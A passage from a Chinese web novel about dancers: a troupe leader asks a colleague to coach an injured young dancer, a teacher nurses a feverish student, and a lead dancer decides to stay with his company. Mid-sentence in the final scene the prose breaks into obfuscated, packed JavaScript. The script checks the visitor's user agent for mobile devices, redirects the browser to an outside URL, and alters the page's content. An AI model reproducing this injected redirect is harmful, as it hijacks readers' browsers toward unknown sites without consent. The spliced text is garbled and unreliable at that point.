林晓希被逗得弯了弯嘴角。他想他大概知道这两个人为什么能凑到一块儿了。 ———— “这孩子啊。心里较着劲儿呢。” 俩人回到办公室,孔爵随手带上门,边说着边从小冰箱里拿了盒牛奶出来。“我这儿只有胶囊机啊,将就吧。” 韩俊宇听孔爵提过林晓希受伤的事儿,刚看那样子,应该还没太恢复好。“中歌的心尖尖,你怎么给拐到你这儿来了。” “我哪儿敢啊。那边团里给他休假了,他带着伤,有时候不太愿意回去练。我就说叫他到我这儿来,我平时带他恢复恢复。芭蕾那一套基础的东西,其实多练练对他有好处。你也知道的。喏,咖啡。” “嗯……” 韩俊宇接过杯子,忍不住问,“他现在伤恢复的怎么样了?” 其实在这一行里呆久了就会慢慢明白,但凡动了筋骨的伤,尤其是在关节上的,很多时候就没有“好了”这一说。无非是“暂时稳定了”,“不大动就不疼了”,可以后怎么用、怎么养,是永远要在心里拿捏着的事儿。 孔爵在他旁边坐下,“也差不太多了。所以最近开始给自己上量了嚒。你还不清楚,这些孩子们要强的劲儿,都是一样一样的。 话说回来——” 他突然往前凑了凑,“这几天……你帮我带带?” ??? 韩俊宇忍不住瞪着他,“噢……!你这一圈儿兜的可是真够大的。孔团在这儿等着我呢?” “哎哎……也不能这么说。你看……现在团里二巡在即,《天鹅湖》的筹备也马上开始了,在加上培训那块儿招老师,我确实是有点抽不开身,可人在我这儿,不看着点又有点不放心。 要说芭蕾教学,韩老师当然是最专业了。你反正每天也是要过来的嘛,自己练也是练,带着他练也是练啊,以教带练!。” 韩俊宇皱着眼角看着“狗腿子爵”,连连咋舌。“啧啧……我早怎么没看出来,孔团长有这打如意算盘的本事。” “哎我确实有这个私心嘛。” 其实从韩俊宇跟他定了过来的时间那天起,孔爵的确就惦记着让他带带晓希。 韩俊宇的底子,是锌宇当年近乎偏执的完美主义和关平严得吓人的专业一点点打下来的。这么多年他又一直扑在教学上,训练中的要点与技术,远比自己成熟丰富的多。 最最重要的是,他有面对脚伤的经验。 当年钟瑞术后的恢复训练就是他亲自带着做下来的;包括之后的这几年里,如何在高强度的训练下保护关节,反过来说,如何在不给脚腕过多负担的前提下最大程度地提高训练效率,没有人比韩俊宇更有经验。 他想让他帮帮晓希。 铁汉撒娇可还行。 韩俊宇扫了他一眼,杯子轻轻一磕放在茶几上,“蹭”地站起身出去了。 “哎你干嘛去?” “缺氧,透透气!” 91. 第79章 萧泽送走了董勤勤,不禁背靠着大门,长长舒了口气。 最近也不知道是怎么了,总是觉得很累;一天还没到头,就好像一点儿气力也提不起来了。 明明从前比现在更忙的时候也是有的。 他惦记着母亲说承儿上一次药还是晚饭时间吃的,便先去厨房接了瓶温水。人发起烧来大多是反反复复的,只吃一遍药恐怕压不住。 彦承卧室的门虚掩着,推开一条缝,里面竟然还亮堂堂的。萧泽轻手轻脚的走进去,一靠近床边,才看见这小子掩在厚厚的被子在下面,只露个小脑袋,一双大眼睛正滴溜溜地望着他。 “哎。” 萧泽不觉失笑,将保温杯放在他床头,顺着床边坐下来。“怎么不睡?” 彦承躺在床上一动不动,一张嘴,眼圈就好像红了几分,“睡不着。” “嗯——” 手背在少年额头上轻贴了贴,果然第一遍药的劲儿褪下去,就又有些烧起来了。 “肯定是有点儿难受的,还是有点儿烧。一会儿再吃遍药吧,然后争取睡一觉。” 彦承吸了吸鼻子,点点头。 萧泽哥的声音,跟在练功房里不一样……轻轻柔柔的,听着特别舒服。 就好像是回到小时候,他发了高烧,一会儿冷一会儿热的、浑身上下的骨节都在痛。婶婶也是这样坐在床边,笑咪咪地柔声安慰他,“没事啦,睡一觉就都好了。” 一想到这,不知怎么的,眼眶就又热了…… 嗨呀……萧泽看他这样子,不知是该心疼还是好笑。忍不住掐着那张小脸儿轻轻晃了晃,“以前怎么没发现你是水做的啊。生病哪有不难受的。” 彦承也不做声,由着萧泽哥掐着下巴,微凉手指贴在两颊上,甚至还有些舒服。好一会儿,才包着嘴角,扔出一句。 “没有练功难受。” “嗯,还越说越来劲儿了。有人替你报仇了,你婶婶啊,就差给我开批斗会了。” “唔?婶婶?” 彦承迷迷蒙蒙地皱起眉。 心尖尖上的小承儿生病,董勤勤自然是最着急的。好端端的,又没出家门又没吃坏东西,怎么会发烧。想来想去就是练功太辛苦,压力太大了——吃不好,睡不好,哪能不病。 萧泽正撞在这个枪口上进家门,还能得到什么好。说了没两句,就被顺着胳膊拧了好几下。 其实他心里清楚,母亲回来到现在,对承儿学舞的事儿一直没完全过去。她自己跳了十几年,是最知道这份辛苦的。连日来看着承儿练功的样子,那份心疼更是攒在心里,雪球般越滚越大,是趁着今晚,才都发了出来了。 萧泽不再接那个茬,随手拿过床头的药瓶倒了两粒出来。“逗你呢,眯会儿吧。” 萧泽还是陪彦承呆了好一会儿,等着他吃完药才离开。 天花板的射灯“咔哒”一声被关上,只余墙角里的一盏小夜灯。 床上的人默默等了一会儿。听着脚步声渐远,手臂才在被窝里窸窸窣窣地动了动,摸出一件宽松的黑色T恤。T恤胸前印着“首都舞蹈学院”几个行楷的小字……是晓希之前留给他的。 彦承紧紧攥着衣襟,翻了个身将自己蜷了起来,双手却还固执地摆在眼前。小夜灯微弱的光线下,布料上的那几个字若隐若现,每看一眼,心里就跟着揪着一分。 他真的是…太想、太想了。付出了那么多努力,如果最后还是不行怎么办? 可不可以、可不可以就让他成功一次,哪怕叫他拿什么来换也可以…… 他盯着看了很久很久,直到烧得酸痛的手臂再没有力气,薄薄的T恤从手中跌落盖在脸上。 不多时,终于渐渐显出两块洇湿的深色。 —————————————————— “烧退了,放心吧。” 钟彦霖将卧室门在身后带上,微微打了个哈欠,上了床。 他今天回来的晚,听萧泽说承儿吃了药刚睡,便不敢过去吵他。直等到后半夜,想他怎么也睡熟了,才过去看看。 “那就好。” 萧泽将书放回床头,被彦霖带的也打了个哈欠。“关灯了?” “嗯。胳膊这儿怎么青了?” 两个人一块躺下,钟彦霖习惯性地从后面揽着人。看见他手臂上的淤青,忍不住轻抚了两下。 萧泽整日在排练厅里摸爬滚打,磕磕碰碰是再正常不过的事。自己陪着他这么多年,也几乎没见过他身上不留印子的时候。只是总难免见一次,眉头就跟着皱一次。 “没事”,萧泽伸出手与他轻轻扣住,似是想起了什么有趣的事,低笑了一声。“说了你可能都不信,这是妈拧的。” “婶婶……? 因为———承儿生病?” “嗯,说是让我给累的。哎……我都没怎么见过妈这么不淡定的样子。她啊,就是心疼小儿子,从回来就一直跟我攒着气儿呢。” 婶婶啊……可真是……钟彦霖也不觉笑着叹了口气, “你这么实诚,不会撒娇还不会躲?” “我当时看着妈那样子——不知道为什么——就觉得有点可爱的,不自觉就笑了。被她看见,就气得又掐了我两把…… 总归也没多疼,就叫她老人家出出气吧。” 怀中人无奈的轻笑尽数落在耳边,钟彦霖不觉在黑暗中紧了紧手臂,将额头轻轻抵在他的发旋,“傻……” 他能感觉的出来,自从叔叔婶婶回来之后,萧泽身上悄然的改变——简单点说,是更开心了。 即便面对萧叔时总不免带着不为人察觉的拘谨,即便萧泽好像还是那个一贯不表露过多的萧泽。可有家人在侧的松弛感,是盖不住的。 在钟彦霖眼里,过去的许多年里,萧泽都习惯了做一个一直专业、妥帖的人。 勤奋自律的舞者,严厉尽责的老师,他在许多个身份中不停转换,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239589|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始终牢牢把持着自己为人处事的准则——情绪稳定、做事严谨。 可只有在叔叔婶婶面前,也仅只是那些短暂的瞬间里——他好像才终于可以稍稍放下肩头的责任与规尺,尽可以做一个能轻松地在母亲面前玩笑的儿子,一个普通的、二十几岁的年轻人。 “我答应沈导了。” 萧泽突然说。 钟彦霖微微抬起头,其实并不意外这个决定。 没有一名舞者,愿意一再放弃与自己欣赏的编导合作的机会。两年前的那一次长谈,萧泽与沈延翌都惊异于两人创作理念上的契合,约定着日后一定要好好合作一次。为此,沈延翌甚至不惜大刀阔斧地改编了当时早已构思成型的舞剧……足叫钟彦霖偷偷吃了好一阵子不好意思说出口的飞醋。 这几年,萧泽花了许多时间去学习如何做一出好的舞剧。他对于自己的追求一向很清晰,当机会在成熟的时机降临,他一定不会再放过。 只是,如同人生中的决定总有其相应的代价——钟彦霖比谁都更能理解,要走出这一步,萧泽也有许多顾虑。 萧泽与舞剧团的合同里其实并没有明确限制非商演性质的演出和与具有一定资质演出团体的合作。当年续签合约时,这份相对宽松模糊的条款就是为了让萧泽在今后作品的选择上有更多的自由。 舞剧团从前不是没有过首席演员与省级剧团合作的先例,这次与沈导的作品又十有八九可以纳入到“国家青年艺术家扶持计划”之下——他们其实有很多可以让舞团点头的理由。 可惜许多纸面上看上去简简单单地事情,实际上又往往并不是那么一回事。 团里允许萧泽外出演出的基础一定是“不影响首席席位的主职工作”。怎么算“不影响”呢。如果严格一点说,萧泽现在要么应该在《朔风传》全国二巡的路上,要么应该呆在新舞剧的排练厅里。可他却拉着孔爵一头扎进两个实习小编导的作品里,往快了说,也要年底才能结束。 那个时候再放他出去和沈延翌合作?一排一演,就又是一年。 舞剧院毕竟是国家直属的院团,就算领导们愿意放任当家首席没伤没病地开这么久的“小差”,萧泽自己也觉得失职。更何况大团里人多口杂,到时免不了有一番捕风捉影、添油加醋。 人言可畏,萧泽并不在意旁人如何说自己,只是不愿意把关心他的人牵扯进来。 “那舞团那边呢,想好了吗?” 其实他们都知道,并不是没有办法可以让所谓的那些顾虑都通通消失。甚至这个念头在冒出来的那一天起,就一直在萧泽心头打转。 房间内短暂的沉默让钟彦霖不由得紧张起来,甚至没有意识到他一直搭在爱人腰间的手臂什么时候已然僵住。 仿佛是过了好久,他才听到萧泽轻轻地叹了口气,却像是卸下了什么格外沉重的东西。 “嗯,想好了。” 他说。 “不辞了。”